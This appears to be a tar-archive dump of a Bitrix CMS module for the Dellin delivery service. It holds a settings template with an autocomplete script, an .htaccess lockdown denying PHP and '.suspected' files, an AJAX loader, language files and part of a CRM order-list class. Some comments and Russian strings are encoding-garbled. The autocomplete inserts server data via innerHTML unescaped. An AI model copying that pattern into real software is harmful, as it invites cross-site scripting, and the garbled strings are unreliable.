               value='<? echo $configParams['PRODUCT']['WEIGHT'] ?>'
        >
    </td>

</tr>


<tr class="heading">
    <td colspan="2"><?= Loc::getMessage("DELLINDEV_FREIGHT_TYPES_HEADER") ?><br/>
</tr>

<tr>

    <td width="20%"><?= Loc::getMessage("DELLINDEV_INPUT_FREIGHT_TYPES") ?></td>
    <td width="40%" id="b_sale_hndl_dlv_add_loc_count">
        <input type="text" name="CONFIG[CARGO][FREIGHT_TYPE_NAME]"
               onkeyup="BX.Sale.Dellin.CargoSettings.selectFrieghtType()"
               onblur="BX.Sale.Dellin.CargoSettings.onblurAutocomplete()"
               id="FrieghtTypeUid"
               value='<? echo $configParams['CARGO']['FREIGHT_TYPE_NAME'] ?>'
        >
    </td>
</tr>
<tr>

    <td width="20%"><?= Loc::getMessage("DELLINDEV_FREIGHT_TYPES_UID") ?></td>
    <td width="40%" id="b_sale_hndl_dlv_add_loc_count">
        <input type="text" name="CONFIG[CARGO][FREIGHT_TYPE_UID]"
               readonly
               value='<? echo $configParams['CARGO']['FREIGHT_TYPE_UID'] ?>'
        >
    </td>
</tr>

<script type="text/javascript">

	BX.message({
		"SALE_LOCATION_MAP_CLOSE": "<?=Loc::getMessage("SALE_LOCATION_MAP_CLOSE")?>",
		"SALE_LOCATION_MAP_LOC_MAPPING": "<?=Loc::getMessage("SALE_LOCATION_MAP_LOC_MAPPING")?>",
		"SALE_LOCATION_MAP_CANCEL": "<?=Loc::getMessage("SALE_LOCATION_MAP_CANCEL")?>",
		"SALE_LOCATION_MAP_PREPARING": "<?=Loc::getMessage("SALE_LOCATION_MAP_PREPARING")?>",
		"SALE_LOCATION_MAP_LOC_MAPPED": "<?=Loc::getMessage("SALE_LOCATION_MAP_LOC_MAPPED")?>"
	});

	BX.ready(function() {
        BX.namespace('BX.Sale.Dellin.CargoSettings');

        BX.Sale.Dellin.CargoSettings =
        {
            ajaxUrl: "",
            interruptFlag: false,
            requestFlag: false,
            serviceLocationClass: "",
            isError: false,
            viewMsg: '',// пїЅпїЅпїЅпїЅ пїЅпїЅпїЅ-пїЅпїЅ пїЅпїЅ пїЅпїЅпїЅпїЅпїЅпїЅ пїЅпїЅпїЅпїЅпїЅпїЅпїЅпїЅпїЅ, пїЅпїЅпїЅпїЅпїЅпїЅпїЅпїЅпїЅ пїЅпїЅпїЅпїЅпїЅ пїЅпїЅпїЅпїЅпїЅпїЅпїЅпїЅпїЅ
            errorMsg: null,
            inputDisabled: false,
            cityKladr: null,
            isOpen: false,

            getAppkey: function(){
                return document.querySelector('[name="CONFIG[MAIN][APIKEY]"]')
            },
            selectFrieghtType: function () {
                let input = document.querySelector('#FrieghtTypeUid');
                if(input.value.length > 3){
                    let postData = {
                        sessid: BX.bitrix_sessid(),
                        action: 'get_frieght_type',
                        query: input.value,
                        appkey: BX.Sale.Dellin.CargoSettings.getAppkey().value,
                        class: BX.Sale.Dellin.CargoSettings.serviceAjaxClass
                    };


                    BX.ajax({
                        timeout:    300,
                        method:     'POST',
                        dataType:   'json',
                        url:        BX.Sale.Dellin.CargoSettings.ajaxUrl,
                        data:       postData,

                        onsuccess: function(result)
                        {
                            let fields = BX.Sale.Dellin.CargoSettings.getAutoComplete(result);
                            input.after(fields);
                        },

                        onfailure: function(status)
                        {
                            console.log("onfailture", status);
                        }
                    });
                }
            },
            getAutoComplete: function(result){


                //TODO ������� ��� �������.
                BX.Sale.Dellin.CargoSettings.clearAutoComplete();

                let divAutocomplete = document.createElement('div');
                    divAutocomplete.className = 'autocomplete';
                let divRows = document.createElement('div');
                    divRows.className = 'rows';


                    result.LIST.forEach(function (el) {

                    let row = BX.Sale.Dellin.CargoSettings.buildRowAutocompolite(el);

                        divRows.appendChild(row);

                    });

                    console.log(divRows);
                    divAutocomplete.appendChild(divRows);

                    console.log(divAutocomplete);


                    return divAutocomplete;


            },
            buildRowAutocompolite: function (el) {
                let divRow = document.createElement('div');
                    divRow.className = 'autocomplete-row';
                    divRow.dataset.id = el.sqlUID;
                    divRow.innerHTML = el.value+' ['+el.comment+'] ';

                    divRow.addEventListener('click', function () {
                        let fieldFrieghtTypeName = document.querySelector('[name="CONFIG[CARGO][FREIGHT_TYPE_NAME]"]');
                            fieldFrieghtTypeName.value = el.value;
                        let fieldFrieghtTypeUid = document.querySelector('[name="CONFIG[CARGO][FREIGHT_TYPE_UID]"]');
                            fieldFrieghtTypeUid.value = this.dataset.id;
                            
                            BX.Sale.Dellin.CargoSettings.clearAutoComplete();
                    });
                return divRow;
            },
            clearAutoComplete: function(){
                let autoComplete = document.querySelector('.autocomplete');
                if(autoComplete !== null){
                    autoComplete.remove();
                }

            },
            onblurAutocomplete: function(){
                setTimeout(this.clearAutoComplete, 300);
            },
        };



	    BX.Sale.Dellin.CargoSettings.ajaxUrl = "<?=$componentPath.'/ajax.php'?>";
        BX.Sale.Dellin.CargoSettings.serviceAjaxClass = "<?=CUtil::JSEscape($arParams['AJAX_SERVICE_CLASS'])?>";;
        


	});
</script>
components/dellindev/.htaccess000044400000000177151760651320012506 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>components/dellindev/crm.dellin.request/lazyload.ajax.php000064400000004207151760651320017700 0ustar00<?php
define('NO_KEEP_STATISTIC', 'Y');
define('NO_AGENT_STATISTIC','Y');
define('NO_AGENT_CHECK', true);
define('PUBLIC_AJAX_MODE', true);
define('DisableEventsCheck', true);

$siteID = isset($_REQUEST['site'])? mb_substr(preg_replace('/[^a-z0-9_]/i', '', $_REQUEST['site']), 0, 2) : '';
if($siteID !== '')
{
    define('SITE_ID', $siteID);
}


require_once($_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/main/include/prolog_before.php');

if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED !== true)
{
    die();
}


if (!CModule::IncludeModule('crm') || !CCrmSecurityHelper::IsAuthorized() || !check_bitrix_sessid())
{
    die();
}


if (!CModule::IncludeModule('sale'))
{
    die();
}



global $APPLICATION;
Header('Content-Type: text/html; charset='.LANG_CHARSET);
$APPLICATION->ShowAjaxHead();
$componentData = isset($_REQUEST['PARAMS']) && is_array($_REQUEST['PARAMS']) ? $_REQUEST['PARAMS'] : array();
$componentParams = isset($componentData['params']) && is_array($componentData['params']) ? $componentData['params'] : array();

//Security check
$userPermissions = CCrmPerms::GetCurrentUserPermissions();


//
//For custom reload with params
$ajaxLoaderParams = array(
    'data' => array('PARAMS' => $componentData)
);


//Force AJAX mode
$componentParams['LOADER_INFO'] = $ajaxLoaderParams;

//For custom reload with params
$ajaxLoaderParams = array(
   // 'url' => '/local/components/dellindev/crm.dellin.order/lazyload.ajax.php?&site='.SITE_ID.'&'.bitrix_sessid_get(),
    'method' => 'POST',
    'dataType' => 'ajax',
    'data' => array('PARAMS' => $componentData)
);

//Force AJAX mode
$componentParams['AJAX_MODE'] = 'Y';
$componentParams['AJAX_OPTION_JUMP'] = 'N';
$componentParams['AJAX_OPTION_HISTORY'] = 'N';
$componentParams['AJAX_LOADER'] = $ajaxLoaderParams;

//Enable sanitaizing
$componentParams['IS_EXTERNAL_CONTEXT'] = 'Y';




$APPLICATION->IncludeComponent('dellindev:crm.dellin.request',
    isset($componentData['template']) ? $componentData['template'] : '',
    $componentParams,
    false,
    array('HIDE_ICONS' => 'Y', 'ACTIVE_COMPONENT' => 'Y')
);


require_once($_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/main/include/epilog_after.php');
die();components/dellindev/crm.dellin.request/lang/ru/list.ajax.php000064400000000130151760651320020372 0ustar00<?
$MESS["CRM_ORDER_SHIPMENT_LIST_ROW_COUNT"] = "Всего: #ROW_COUNT#";
?>components/dellindev/crm.dellin.request/lang/ru/.parameters.php000064400000000245151760651320020725 0ustar00<?
$MESS["CRM_ORDER_SHIPMENT_COUNT"] = "Количество отгрузок на странице";
?>components/dellindev/crm.dellin.request/lang/ru/class.php000064400000010016151760651320017606 0ustar00<?
$MESS["CRM_MODULE_NOT_INSTALLED"] = "Модуль CRM не установлен.";
$MESS["CRM_MODULE_NOT_INSTALLED_CURRENCY"] = "Модуль currency не установлен.";
$MESS["CRM_MODULE_NOT_INSTALLED_SALE"] = "Модуль sale не установлен.";
$MESS["CRM_MODULE_NOT_INSTALLED_CATALOG"] = "Модуль catalog не установлен.";
$MESS["CRM_PERMISSION_DENIED"] = "Доступ запрещен";
$MESS["CRM_COLUMN_COMMENTS"] = "Комментарий";
$MESS["CRM_COLUMN_STATUS_ID"] = "Статус";
$MESS["CRM_COLUMN_SHIPMENT_SUMMARY"] = "Документ отгрузки";
$MESS["CRM_COLUMN_DELIVERY_SERVICE"] = "РЎРїРѕСЃРѕР±";
$MESS["CRM_COLUMN_PRICE_DELIVERY_CURRENCY"] = "Стоимость";
$MESS["CRM_COLUMN_ALLOW_DELIVERY"] = "Разрешена";
$MESS["CRM_COLUMN_DEDUCTED"] = "Отгружено";
$MESS["CRM_COLUMN_ID"] = "�дентификатор";
$MESS["CRM_COLUMN_ORDER_ID"] = "�дентификатор заказа";
$MESS["CRM_COLUMN_DATE_INSERT"] = "Дата добавления";
$MESS["CRM_COLUMN_DISCOUNT_PRICE"] = "РЎРєРёРґРєР°";
$MESS["CRM_COLUMN_BASE_PRICE_DELIVERY"] = "Базовая стоимость";
$MESS["CRM_COLUMN_CUSTOM_PRICE_DELIVERY"] = "Пользовательская цена";
$MESS["CRM_COLUMN_DATE_ALLOW_DELIVERY"] = "Дата разрешения доставки";
$MESS["CRM_COLUMN_EMP_ALLOW_DELIVERY"] = "Кто изменил разрешено";
$MESS["CRM_COLUMN_DATE_DEDUCTED"] = "Дата отгружено";
$MESS["CRM_COLUMN_EMP_DEDUCTED"] = "Кто изменил отгружено";
$MESS["CRM_COLUMN_REASON_UNDO_DEDUCTED"] = "Причина отмены отгрузки";
$MESS["CRM_COLUMN_DELIVERY_DOC_NUM"] = "Номер документа отгрузки";
$MESS["CRM_COLUMN_DELIVERY_DOC_DATE"] = "Дата документа отгрузки";
$MESS["CRM_COLUMN_TRACKING_NUMBER"] = "�дентификатор отправления";
$MESS["CRM_COLUMN_MARKED"] = "Проблема";
$MESS["CRM_COLUMN_DATE_MARKED"] = "Дата проблемы";
$MESS["CRM_COLUMN_EMP_MARKED"] = "Кто отметил проблемным";
$MESS["CRM_COLUMN_REASON_MARKED"] = "Описание проблемы";
$MESS["CRM_COLUMN_CURRENCY"] = "Валюта";
$MESS["CRM_COLUMN_RESPONSIBLE"] = "Ответственный";
$MESS["CRM_COLUMN_DATE_RESPONSIBLE_ID"] = "Дата изменения ответственного";
$MESS["CRM_COLUMN_COMMENTS"] = "Комментарий менеджера";
$MESS["CRM_COLUMN_TRACKING_STATUS"] = "Статус отправки";
$MESS["CRM_COLUMN_TRACKING_DESCRIPTION"] = "Описание статуса отправки";
$MESS["CRM_SHIPMENT_SUMMARY"] = "Отгрузка № #NUMBER# от #DATE#";
$MESS['CRM_SHIPMENT_DELETE_ERROR'] = "Ошибка удаления отгрузки";components/dellindev/crm.dellin.request/lang/ru/.description.php000064400000000473151760651320021110 0ustar00<?
$MESS["CRM_ORDER_SHIPMENT_LIST_NAME"] = "Список отгрузок";
$MESS["CRM_ORDER_SHIPMENT_LIST_DESCRIPTION"] = "Список отгрузок";
$MESS["CRM_NAME"] = "CRM";
$MESS["CRM_ORDER_SHIPMENT_NAME"] = "Отгрузки";
?>components/dellindev/crm.dellin.request/lang/ru/help/.tooltips.php000064400000000011151760651320021356 0ustar00<?php

?>components/dellindev/crm.dellin.request/lang/en/list.ajax.php000064400000000110151760651320020344 0ustar00<?
$MESS["CRM_ORDER_SHIPMENT_LIST_ROW_COUNT"] = "Total: #ROW_COUNT#";
?>components/dellindev/crm.dellin.request/lang/en/.parameters.php000064400000000077151760651320020704 0ustar00<?
$MESS["CRM_ORDER_SHIPMENT_COUNT"] = "Shipments per page";
?>components/dellindev/crm.dellin.request/lang/en/class.php000064400000004224151760651320017566 0ustar00<?
$MESS["CRM_SHIPMENT_DELETE_ERROR"] = "Error deleting shipment";
$MESS["CRM_MODULE_NOT_INSTALLED"] = "The CRM module is not installed.";
$MESS["CRM_MODULE_NOT_INSTALLED_CURRENCY"] = "The Currency module is not installed.";
$MESS["CRM_MODULE_NOT_INSTALLED_SALE"] = "The e-Store module is not installed.";
$MESS["CRM_MODULE_NOT_INSTALLED_CATALOG"] = "The Commercial Catalog module is not installed.";
$MESS["CRM_PERMISSION_DENIED"] = "Access denied";
$MESS["CRM_COLUMN_ID"] = "ID";
$MESS["CRM_COLUMN_COMMENTS"] = "Sales representative's comment";
$MESS["CRM_COLUMN_STATUS_ID"] = "Status";
$MESS["CRM_COLUMN_DATE_INSERT"] = "Created on";
$MESS["CRM_COLUMN_SHIPMENT_SUMMARY"] = "Shipping Document";
$MESS["CRM_COLUMN_DELIVERY_SERVICE"] = "Delivery service";
$MESS["CRM_COLUMN_PRICE_DELIVERY_CURRENCY"] = "Price";
$MESS["CRM_COLUMN_ALLOW_DELIVERY"] = "Allowed";
$MESS["CRM_COLUMN_DEDUCTED"] = "Shipped";
$MESS["CRM_COLUMN_ORDER_ID"] = "Order ID";
$MESS["CRM_COLUMN_DISCOUNT_PRICE"] = "Discount";
$MESS["CRM_COLUMN_BASE_PRICE_DELIVERY"] = "Base price";
$MESS["CRM_COLUMN_CUSTOM_PRICE_DELIVERY"] = "Custom price";
$MESS["CRM_COLUMN_DATE_ALLOW_DELIVERY"] = "Delivery approved on";
$MESS["CRM_COLUMN_EMP_ALLOW_DELIVERY"] = "Delivery approved by";
$MESS["CRM_COLUMN_DATE_DEDUCTED"] = "Shipped on";
$MESS["CRM_COLUMN_EMP_DEDUCTED"] = "Shipped status changed by";
$MESS["CRM_COLUMN_REASON_UNDO_DEDUCTED"] = "Reason for cancellation of shipment";
$MESS["CRM_COLUMN_DELIVERY_DOC_NUM"] = "Shipment document #";
$MESS["CRM_COLUMN_DELIVERY_DOC_DATE"] = "Shipment document date";
$MESS["CRM_COLUMN_TRACKING_NUMBER"] = "Tracking number";
$MESS["CRM_COLUMN_MARKED"] = "Issue";
$MESS["CRM_COLUMN_DATE_MARKED"] = "Issue occurred on";
$MESS["CRM_COLUMN_EMP_MARKED"] = "Marked as issue by";
$MESS["CRM_COLUMN_REASON_MARKED"] = "Issue description";
$MESS["CRM_COLUMN_CURRENCY"] = "Currency";
$MESS["CRM_COLUMN_RESPONSIBLE"] = "Responsible person";
$MESS["CRM_COLUMN_DATE_RESPONSIBLE_ID"] = "Responsible person changed on";
$MESS["CRM_COLUMN_TRACKING_STATUS"] = "Shipment status";
$MESS["CRM_COLUMN_TRACKING_DESCRIPTION"] = "Shipment status description";
$MESS["CRM_SHIPMENT_SUMMARY"] = "Shipment ##NUMBER# - #DATE#";
?>components/dellindev/crm.dellin.request/lang/en/.description.php000064400000000301151760651320021052 0ustar00<?
$MESS["CRM_ORDER_SHIPMENT_LIST_NAME"] = "Shipments";
$MESS["CRM_ORDER_SHIPMENT_LIST_DESCRIPTION"] = "Shipments";
$MESS["CRM_NAME"] = "CRM";
$MESS["CRM_ORDER_SHIPMENT_NAME"] = "Shipments";
?>components/dellindev/crm.dellin.request/class.php000064400000313675151760651320016260 0ustar00<?php

if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED !== true) die();

define('PUBLIC_MODE', 1);

use Bitrix\Main;
use Bitrix\Crm\Order;
use Bitrix\Crm\Tracking;
use Bitrix\Crm\Product\Url;
use Bitrix\Main\Localization\Loc;
use Bitrix\Crm\Settings\LayoutSettings;
use \Bitrix\Main\Grid;
use Bitrix\Crm\Agent\Search\OrderSearchContentRebuildAgent;
use Bitrix\Iblock\Url\AdminPage\BuilderManager;


Loc::loadMessages(__FILE__);

class CCrmOrderListComponent extends \CBitrixComponent
{
    protected $userId = 0;
    protected $userPermissions;
    protected $errors = array();
    protected $isInternal = false;
    private $exportParams = [];

    /** @var null|\Bitrix\Iblock\Url\AdminPage\BaseBuilder */
    private $urlBuilder = null;

    public function getEntityTypeId()
    {
        return \CCrmOwnerType::Order;
    }

    public function prepareParams($arParams)
    {
        global $APPLICATION;

        $arParams['PATH_TO_ORDER_DETAILS'] = CrmCheckPath('PATH_TO_ORDER_DETAILS', $arParams['PATH_TO_ORDER_DETAILS'], $APPLICATION->GetCurPage() . '?order_id=#order_id#&details');
        $arParams['PATH_TO_ORDER_SHOW'] = CrmCheckPath('PATH_TO_ORDER_SHOW', $arParams['PATH_TO_ORDER_SHOW'], $APPLICATION->GetCurPage() . '?order_id=#order_id#&show');
        $arParams['PATH_TO_ORDER_EDIT'] = CrmCheckPath('PATH_TO_ORDER_EDIT', $arParams['PATH_TO_ORDER_EDIT'], $APPLICATION->GetCurPage() . '?order_id=#order_id#&edit');
        $arParams['PATH_TO_QUOTE_EDIT'] = CrmCheckPath('PATH_TO_QUOTE_EDIT', $arParams['PATH_TO_QUOTE_EDIT'], $APPLICATION->GetCurPage() . '?quote_id=#quote_id#&edit');
        $arParams['PATH_TO_INVOICE_EDIT'] = CrmCheckPath('PATH_TO_INVOICE_EDIT', $arParams['PATH_TO_INVOICE_EDIT'], $APPLICATION->GetCurPage() . '?invoice_id=#invoice_id#&edit');
        $arParams['PATH_TO_COMPANY_SHOW'] = CrmCheckPath('PATH_TO_COMPANY_SHOW', $arParams['PATH_TO_COMPANY_SHOW'], $APPLICATION->GetCurPage() . '?company_id=#company_id#&show');
        $arParams['PATH_TO_CONTACT_SHOW'] = CrmCheckPath('PATH_TO_CONTACT_SHOW', $arParams['PATH_TO_CONTACT_SHOW'], $APPLICATION->GetCurPage() . '?contact_id=#contact_id#&show');
        $arParams['PATH_TO_USER_PROFILE'] = CrmCheckPath('PATH_TO_USER_PROFILE', $arParams['PATH_TO_USER_PROFILE'], '/company/personal/user/#user_id#/');
        $arParams['PATH_TO_BUYER_PROFILE'] = CrmCheckPath('PATH_TO_BUYER_PROFILE', $arParams['PATH_TO_BUYER_PROFILE'], '/shop/settings/sale_buyers_profile/?USER_ID=#user_id#&lang=' . LANGUAGE_ID);
        $arParams['PATH_TO_USER_BP'] = CrmCheckPath('PATH_TO_USER_BP', $arParams['PATH_TO_USER_BP'], '/company/personal/bizproc/');
        $arParams['NAME_TEMPLATE'] = empty($arParams['NAME_TEMPLATE']) ? CSite::GetNameFormat(false) : str_replace(array("#NOBR#", "#/NOBR#"), array("", ""), $arParams["NAME_TEMPLATE"]);

        if ($this->isExportMode()) {
            $this->prepareExportParams($arParams);
        }

        $arParams['BUILDER_CONTEXT'] = isset($arParams['BUILDER_CONTEXT']) ? $arParams['BUILDER_CONTEXT'] : '';
        if (
            $arParams['BUILDER_CONTEXT'] != Url\ShopBuilder::TYPE_ID
            && $arParams['BUILDER_CONTEXT'] != Url\ProductBuilder::TYPE_ID
        ) {
            $arParams['BUILDER_CONTEXT'] = Url\ShopBuilder::TYPE_ID;
        }


        return $arParams;
    }

    private function prepareExportParams($params)
    {
        $isStepperExport = (isset($params['STEXPORT_MODE']) && $params['STEXPORT_MODE'] === 'Y');
        $isExportAllFields = (isset($params['STEXPORT_INITIAL_OPTIONS']['EXPORT_ALL_FIELDS'])
            && $params['STEXPORT_INITIAL_OPTIONS']['EXPORT_ALL_FIELDS'] === 'Y');
        $this->exportParams['STEXPORT_EXPORT_ALL_FIELDS'] = ($isStepperExport && $isExportAllFields) ? 'Y' : 'N';
        $this->exportParams['STEXPORT_MODE'] = $isStepperExport ? 'Y' : 'N';
        $this->exportParams['STEXPORT_TOTAL_ITEMS'] = max((int)$params['STEXPORT_TOTAL_ITEMS'], 0);
    }

    public function init(): bool
    {
        if (!CModule::IncludeModule('crm')) {
            $this->addError(Loc::getMessage('CRM_MODULE_NOT_INSTALLED'));
            return false;
        }

        if (!CModule::IncludeModule('currency')) {
            $this->addError(Loc::getMessage('CRM_MODULE_NOT_INSTALLED_CURRENCY'));
            return false;
        }

        if (!CModule::IncludeModule('catalog')) {
            $this->addError(Loc::getMessage('CRM_MODULE_NOT_INSTALLED_CATALOG'));
            return false;
        }

        if (!CModule::IncludeModule('sale')) {
            $this->addError(Loc::getMessage('CRM_MODULE_NOT_INSTALLED_SALE'));
            return false;
        }

        $this->userPermissions = CCrmPerms::GetCurrentUserPermissions();

        if (!\Bitrix\Crm\Order\Permissions\Order::checkReadPermission(0, $this->userPermissions)) {
            $this->addError(Loc::getMessage('CRM_PERMISSION_DENIED'));
            return false;
        }

        $this->userId = CCrmSecurityHelper::GetCurrentUserID();
        $this->isInternal = !empty($this->arParams['INTERNAL_FILTER']);
        CUtil::InitJSCore(array('ajax', 'tooltip'));

        $request = Bitrix\Main\Application::getInstance()->getContext()->getRequest();
        if (!empty($this->arParams['EXPORT_TYPE'])) {
            $exportType = (string)($this->arParams['EXPORT_TYPE']);
        } elseif ($request->get('type')) {
            $exportType = $request->get('type');
        }

        if (!empty($exportType)) {
            $exportType = mb_strtolower(trim($exportType));
            switch ($exportType) {
                case 'csv':
                case 'excel':
                    $this->exportParams['TYPE'] = $exportType;
                    break;
            }

            if ($this->isExportMode() && !\Bitrix\Crm\Order\Permissions\Order::checkExportPermission($this->userPermissions)) {
                $this->addError(Loc::getMessage('CRM_PERMISSION_DENIED'));
                return false;
            }
        }

        return true;
    }

    protected function initUrlBuilder(): bool
    {
        $manager = BuilderManager::getInstance();
        $this->urlBuilder = $manager->getBuilder($this->arParams['BUILDER_CONTEXT']);
        unset($manager);
        if ($this->urlBuilder === null) {
            $this->addError(Loc::getMessage('CRM_ERR_URL_BUILDER_ABSENT'));
            return false;
        }
        return true;
    }

    private function isExportMode()
    {
        return !empty($this->exportParams) && !empty($this->exportParams['TYPE']);
    }

    protected function showErrors()
    {
        $this->arResult['ERRORS'] = $this->errors;
        foreach ($this->errors as $error)
            ShowError($error);
    }

    protected function addErrors(array $errors)
    {
        $this->errors = array_merge($this->errors, $errors);
    }

    protected function addError($error)
    {
        $this->errors[] = $error;
    }

    protected function addUserInfoSelection($referenceFieldName, $prefix, array &$select, array &$runtime)
    {
        $runtime[] =
            new Main\Entity\ReferenceField('USER_' . $prefix,
                Main\UserTable::getEntity(),
                array(
                    '=ref.ID' => 'this.' . $referenceFieldName,
                ),
                array('join_type' => 'LEFT')
            );

        foreach (array('LOGIN', 'NAME', 'LAST_NAME', 'SECOND_NAME') as $field)
            $select[$prefix . '_' . $field] = 'USER_' . $prefix . '.' . $field;
    }

    protected function addActivitySelection(array &$select, array &$runtime)
    {
        $runtime[] =
            new Main\Entity\ReferenceField('C_USER_ACTIVITY',
                \Bitrix\Crm\UserActivityTable::getEntity(),
                array(
                    '=ref.OWNER_ID' => 'this.ID',
                    '=ref.OWNER_TYPE_ID' => new Main\DB\SqlExpression($this->getEntityTypeId()),
                    '=ref.USER_ID' => new Main\DB\SqlExpression(0)
                ),
                array('join_type' => 'LEFT')
            );

        $select['C_ACTIVITY_ID'] = 'C_USER_ACTIVITY.ACTIVITY_ID';
        $select['C_ACTIVITY_TIME'] = 'C_USER_ACTIVITY.ACTIVITY_TIME';

        $runtime[] =
            new Main\Entity\ReferenceField('C_ACTIVITY',
                \Bitrix\Crm\ActivityTable::getEntity(),
                array(
                    '=ref.ID' => 'this.C_ACTIVITY_ID',
                ),
                array('join_type' => 'LEFT')
            );

        $select['C_ACTIVITY_RESP_ID'] = 'C_ACTIVITY.RESPONSIBLE_ID';
        $select['C_ACTIVITY_SUBJECT'] = 'C_ACTIVITY.SUBJECT';

        $runtime[] =
            new Main\Entity\ReferenceField('C_USER',
                Main\UserTable::getEntity(),
                array(
                    '=ref.ID' => 'this.C_ACTIVITY_RESP_ID',
                ),
                array('join_type' => 'LEFT')
            );

        $select['C_ACTIVITY_RESP_LOGIN'] = 'C_USER.LOGIN';
        $select['C_ACTIVITY_RESP_NAME'] = 'C_USER.NAME';
        $select['C_ACTIVITY_RESP_LAST_NAME'] = 'C_USER.LAST_NAME';
        $select['C_ACTIVITY_RESP_SECOND_NAME'] = 'C_USER.SECOND_NAME';

        if ($this->userId > 0) {
            $runtime[] =
                new Main\Entity\ReferenceField('USER_ACTIVITY',
                    \Bitrix\Crm\UserActivityTable::getEntity(),
                    array(
                        '=ref.OWNER_ID' => 'this.ID',
                        '=ref.OWNER_TYPE_ID' => new Main\DB\SqlExpression($this->getEntityTypeId()),
                        '=ref.USER_ID' => new Main\DB\SqlExpression($this->userId)
                    ),
                    array('join_type' => 'LEFT')
                );

            $select['USER_ACTIVITY_ID'] = 'USER_ACTIVITY.ACTIVITY_ID';
            $select['USER_ACTIVITY_TIME'] = 'USER_ACTIVITY.ACTIVITY_TIME';

            $runtime[] =
                new Main\Entity\ReferenceField('ACTIVITY',
                    \Bitrix\Crm\ActivityTable::getEntity(),
                    array(
                        '=ref.ID' => 'this.USER_ACTIVITY_ID',
                    ),
                    array('join_type' => 'LEFT')
                );

            $select['USER_ACTIVITY_SUBJECT'] = 'ACTIVITY.SUBJECT';
        }
    }

    /**
     * @param array $runtime
     */
    protected function addOrderDealRuntime(array &$runtime): void
    {
        $runtime[] = new Main\ORM\Fields\Relations\Reference('ORDER_DEAL',
            \Bitrix\Crm\Binding\OrderDealTable::getEntity(),
            ['=ref.ORDER_ID' => 'this.ID',],
            ['join_type' => 'LEFT',]
        );
    }

    protected function addActivityCounterFilter(array &$filter, array &$glFilter, array &$runtime)
    {
        if (is_array($filter['ACTIVITY_COUNTER'])) {
            $counterTypeID = Bitrix\Crm\Counter\EntityCounterType::joinType(
                array_filter($filter['ACTIVITY_COUNTER'], 'is_numeric')
            );
        } else {
            $counterTypeID = (int)$filter['ACTIVITY_COUNTER'];
        }

        if (Bitrix\Crm\Counter\EntityCounterType::isDefined($counterTypeID)) {
            $counterUserIDs = array();

            if (isset($filter['RESPONSIBLE_ID'])) {
                if (is_array($filter['RESPONSIBLE_ID'])) {
                    $counterUserIDs = array_filter($filter['RESPONSIBLE_ID'], 'is_numeric');
                } elseif ($filter['RESPONSIBLE_ID'] > 0) {
                    $counterUserIDs[] = $filter['RESPONSIBLE_ID'];
                }
            }

            if (empty($counterUserIDs)) {
                $counterUserIDs[] = $this->userId;
            }

            $counter = Bitrix\Crm\Counter\EntityCounterFactory::create(
                \CCrmOwnerType::Order,
                $counterTypeID,
                0
            );
            $activityFilterSql = $counter->getEntityListSqlExpression([
                'USER_IDS' => $counterUserIDs
            ]);
            if (!empty($activityFilterSql)) {
                if (isset($glFilter['@ID'])) {
                    $glFilter[] = [
                        '@ID' => new Bitrix\Main\DB\SqlExpression($activityFilterSql)
                    ];
                } else {
                    $glFilter['@ID'] = new Bitrix\Main\DB\SqlExpression($activityFilterSql);
                }
            }
        }
    }

    /*
     *POST & GET actions processing
     * and LocalRedirect
     */
    protected function requestProcessing($actionData, $filter)
    {
        if ($actionData['ACTIVE']) {
            if ($actionData['METHOD'] == 'POST') {
                if ($actionData['NAME'] == 'delete') {
                    if ((isset($actionData['ID']) && is_array($actionData['ID'])) || $actionData['ALL_ROWS']) {
                        $arFilterDel = array();

                        if (!$actionData['ALL_ROWS']) {
                            $arFilterDel = array('ID' => $actionData['ID']);
                        } else {
                            $arFilterDel += $filter;
                        }

                        $res = Bitrix\Crm\Order\Order::getList(array('filter' => $arFilterDel));

                        while ($order = $res->Fetch()) {
                            if (\Bitrix\Crm\Order\Permissions\Order::checkDeletePermission($order['ID'], $this->userPermissions)) {
                                try {
                                    $delRes = Order\Order::delete($order['ID']);
                                } catch (Exception $e) {
                                    $delRes = Order\Order::deleteNoDemand($order['ID']);
                                }

                                if (!$delRes->isSuccess()) {
                                    $this->addErrors($delRes->getErrorMessages());
                                }
                            } else {
                                $this->addError(Loc::getMessage('CRM_PERMISSION_DENIED'));
                            }
                        }
                    }
                } elseif ($actionData['NAME'] == 'edit') {
                    if (isset($actionData['FIELDS']) && is_array($actionData['FIELDS'])) {
                        foreach ($actionData['FIELDS'] as $ID => $arSrcData) {
                            if (!\Bitrix\Crm\Order\Permissions\Order::checkUpdatePermission($ID, $this->userPermissions))
                                continue;

                            $order = Order\Order::load($ID);

                            if (!$order)
                                continue;

                            $arUpdateData = array();
                            reset($this->arResult['HEADERS']);

                            foreach ($this->arResult['HEADERS'] as $arHead)
                                if (isset($arHead['editable']) && (is_array($arHead['editable']) || $arHead['editable'] === true) && isset($arSrcData[$arHead['id']]))
                                    $arUpdateData[$arHead['id']] = $arSrcData[$arHead['id']];

                            $res = $order->setFields($arUpdateData);

                            if (!$res->isSuccess())
                                $this->addErrors($res->getErrorMessages());
                        }
                    }
                } elseif ($actionData['NAME'] == 'set_status') {
                    if ($actionData['STATUS_ID'] <> '') {
                        if ((isset($actionData['ID']) && is_array($actionData['ID'])) || $actionData['ALL_ROWS']) {
                            $statFilter = array();

                            if (!$actionData['ALL_ROWS'])
                                $statFilter = array('ID' => $actionData['ID']);
                            else
                                $statFilter += $filter;

                            $reasonCanceled = isset($actionData['REASON_CANCELED']) ? $actionData['REASON_CANCELED'] : '';
                            $res = Bitrix\Crm\Order\Order::getList(array('filter' => $statFilter));

                            while ($order = $res->fetch()) {
                                if (\Bitrix\Crm\Order\Permissions\Order::checkUpdatePermission($order['ID'], $this->userPermissions)) {
                                    $setRes = Order\Manager::setOrderStatus($order['ID'], $actionData['STATUS_ID'], $reasonCanceled);

                                    if (!$setRes->isSuccess()) {
                                        $this->addErrors($setRes->getErrorMessages());
                                    }
                                }
                            }
                        }
                    }
                } elseif ($actionData['NAME'] == 'assign_to') {
                    if ((int)$actionData['RESPONSIBLE_BY_ID'] > 0) {
                        if ((isset($actionData['ID']) && is_array($actionData['ID'])) || $actionData['ALL_ROWS']) {
                            $statFilter = array();

